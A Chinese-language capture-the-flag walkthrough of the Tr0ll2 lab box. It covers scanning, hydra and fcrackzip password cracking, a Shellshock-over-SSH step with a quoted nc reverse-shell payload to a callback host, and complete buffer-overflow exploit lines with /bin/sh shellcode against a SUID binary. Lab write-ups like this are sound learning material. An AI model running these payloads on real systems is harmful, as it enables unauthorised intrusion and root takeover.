Tr0ll2
1、主機發現
arp-scan -l
2、端口掃描
nmap -sS -sV 192.168.66.181
nmap -sS -A -T4 -p- 192.168.66.181
nmap --script=vuln 192.168.66.181
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
詳細掃描
這里沒找到匿名訪問之類的,我們看80端口然后掃一下目錄
3、目錄掃描
gobuster dir -u http://192.168.66.181:80 -t30 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
dirsearch -u http://192.168.66.187:80/ -e * -i 200
nikto -h 192.168.66.181 -p 80
dirb http://192.168.66.181
dirsearch
dirb
gobuster
這里學到了一個新思路,也不算是,因為在我看到這些目錄的時候我有想過這些目錄進行交叉組合進行訪問,或者掃描其他目錄,但是沒想到dirb和dirsearch可以掃描文檔,就是把這些目錄放到一個txt下爆破
這東西我也是第一次知道還能這樣使用
dirb http://192.168.66.181/ robots.txt ---空格后填寫文本默認指向該字典
4、尋找攻擊點
訪問80端口
依舊是這張圖片,看一下其他目錄
還是很抽象的東西,有可能是賬戶名之類的或者文件目錄
果然,這里是很多目錄,掃不出來,我們需要自行訪問一下
到這里最大疑點是給的目錄,這因該是一些密碼賬戶,因為21端口沒有匿名訪問,根據經驗來說,21端口存在一些提示信息,然后再用到22端口進行隧道建立,我們嘗試一下爆破,而且作者提示我們腳本化這些文件。
這里我又回頭看了一下,找到了一個應該是用戶名,zomg這個,我們再嘗試爆破
這里思路有點歪了,其實應該嘗試暴力破解的,我只用他給的幾個文件目錄去爆破了,想的窄了,我們接下來嘗試爆破
爆破
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.66.181 ssh
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.66.181 ftp
21端口
這里偏的太遠了,沒嘗試弱口令,就是Troll這個賬戶和密碼,這里需要注意,算是失誤了
這里我們下載了一個zip,有密碼我們嘗試爆破
zip爆破
使用這個工具爆破一下
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u lmao.zip
fcrackzip -u -D -p 1.txt lmao.zip
這里ssh爆破也失敗了、看了wp之后發現是那張圖片的問題,我們下載一下那張圖片看看是否隱藏了信息
隱寫
wget http://192.168.66.181/dont_bother/cat_the_troll.jpg
我們下載了圖片后查看隱寫
用strings查看圖片隱寫的信息
這里有個坑,就是這個圖片有很多文件路徑,但是只有這個路徑有隱藏信息
我們訪問這個路徑
這里發現了很多密碼,估計是讓我們爆破,我們把這個txt下載下來
估計是哪個zip的密碼,我們爆破一下,這里要注意把base64解碼再去爆破
base64 -d answer.txt > an.txt
noob文件信息枚舉
這里是一個用戶的信息
5、shellshock漏洞利用
較新的版本支持語法
ssh -i noob noob@192.168.66.181
這里第一次知道是可以使用這個文件去進行ssh登錄的
這里注意一個問題就是密鑰版本較新,linux版本比較舊的無法解析,我們需要指定舊版算法
這段代碼兼容性更強
ssh -i noob -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa noob@192.168.66.181
這里看到了訪問被拒絕了,可以登錄需要外殼拿權限。
shellshock env環境變量繞過ssh
shellshock env環境變量繞過ssh,我們找找相關漏洞
找到了使用方法,我們嘗試構造一下
user_agent = {'User-agent': '() { :; }; /bin/bash -c "rm /tmp/.f;mkfifo /tmp/.f;cat /tmp/.f|/bin/sh -i 2>&1|nc '+cbip+' '+cbport+' >/tmp/.f"'}
我們找了一些相關exp,發現了使用方法,我們構造語句
我們利用noob的密鑰進行登錄并且進行命令執行
ssh -i noob -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa noob@192.168.66.181 '() { :;}; cat /etc/passwd'
這樣我們就能遠程執行命令了,這時我們只需要讓他開一個shell即可
ssh -i noob -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa noob@192.168.66.181 '() { :;}; /bin/bash'
修復shell:
python -c 'import pty;pty.spawn("/bin/bash")'
6、內網信息收集
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 2> /dev/unll
這里找了一些SID 權限的文件
7、方法一緩沖區溢出
ls -lahR
這里看了wp說是存在緩沖區溢出
1、判斷是否有溢出
1)進入查看溢出文件信息
cd door2
ls
./r00t
Usage: ./r00t input,提示在r00t后面添加命令。
這里不知道什么原因r00t文件執行后是重啟,
2)測試是否存在緩沖區溢出
./r00t $(python -c 'print "A" * 300') ---生成300個A
./r00t $(python -c 'print "A" * 200')
提示:Segmentation fault----分段錯誤,存在溢出!接下來將該文件base64轉發下載到本地進行逆向分析!
3)base64轉碼
將轉碼值寫入本地文本并解碼成文件!
復制至本地文本:
gedit base.txt
base64解碼并驗證:
cat base.txt | base64 -d > r00t
md5sum r00t ---雙方MD5值對比(因MD5不可逆)
分析文件
gdb ./r00t
2、查找偏移量
pattern_create是生成一個字符串模板輸入后根據EIP來確定覆蓋return addr的長度。
1)利用pattern_create.rb,在本地生成300個字符,找偏移量
locate pattern_create.rb
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300
獲得地址:
0x6a413969
3)獲得偏移量
利用pattern_offset.rb,找偏移量:
3、查找ESP的溢出地址
前面找到偏移量后,可以知道棧空間大小占據空間位置,接下來找到跳板地址也就是ESP,就可以跳到惡意代碼shellcode位置!
1)print寫入268個A和4個B,查找出EIP地址
r $(python -c 'print "A"*268 + "B"*4')
info r
繼續獲取ESP值。
2)獲取ESP(下一跳值)
print寫入268個A、4個B和20個C,查找出ESP地址:
r $(python -c 'print "A"*268 + "B"*4 + "C"*20')
獲取ESP內存地址:0xbffffb80
即反向ESP為:\x80\xfb\xff\xbf。
4、shellcode編寫
谷歌搜索獲得shellcode:
http://shell-storm.org/shellcode/files/shellcode-827.php
因為它運行在Intel,并且操作系統是86位Linux,因此我從此處獲取Shellcode連接:
"|428" 未創建,點擊以創建。
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
當選擇好shellcode惡意代碼后,即可進行exp寫入shellcode進行編寫payload。
5、EXP編寫
接下來需要執行exp,獲得shell,開始編寫。
編寫EXP:
./r00t $(python -c 'print "A"*偏移量 + "反向ESP" + "\x90"*20 + "shellcode"')
按照模板編寫:
./r00t $(python -c 'print "A"*268 + "\x80\xfb\xff\xbf" + "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
python -c 'import pty; pty.spawn("/bin/bash")' #執行tty
可看到成功緩沖區溢出跳轉執行shellcode獲得bash的shell!
方法二緩沖區溢出提權:
1)測試是否有緩沖區溢出,使用腳本生成字符
locate pattern
利用pattern_create.rb,在本地生成1000個字符,找偏移量 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
2)進入gdb進行測試,然后直接開始運行r00t,發現偏移量的地址,使用工具進行解碼。發現偏移量是268.
0x6a413969
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x6a413969
3)進行ASLR的查詢,發現結果是0.說明沒有開啟。檢查checksec保護機制。
cat /proc/sys/kernel/randomize_va_space
4)找esp值:驗證EIP,這里驗證出來ebp和eip是正確的。
./r00t $(python -c 'print "A" * 300')
r $(python -c 'print "A"*268 + "B"*4')
r $(python -c 'print "A"*268 + "B"*4 + "C"*20')
5)尋找ESP的地址,這里可以直接看,或者是通過命令。來查看esp的下一跳地址。
info r
0xffffcf60 \x60\xcf\xff\xff
6)下面拼接好shellcode就可以。exp的構造./r00t $(python -c 'print "A"_偏移量 + "ESP" + "\x90"_20 + "shellcode"'),拿到root權限。
練習shellcode的編寫
./r00t $(python -c 'print "A"*268 + "\x80\xfb\xff\xbf" + "\x90" * 20 + "\x6a\x17\x58\x31\xdb\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80"')
方法三:臟牛提權
searchsploit linux 3.2.0 Privilege
別的方法太難了,直接牛牛大法一鍵提權
拿下
總結:
1)使用ftp收集信息
2)訪問網站信息獲取密碼
3)使用fcrackzip來爆破壓縮包
4)發現緩沖區溢出提權、臟牛提權
后續我也會出更多打靶文章,希望大家關注!謝謝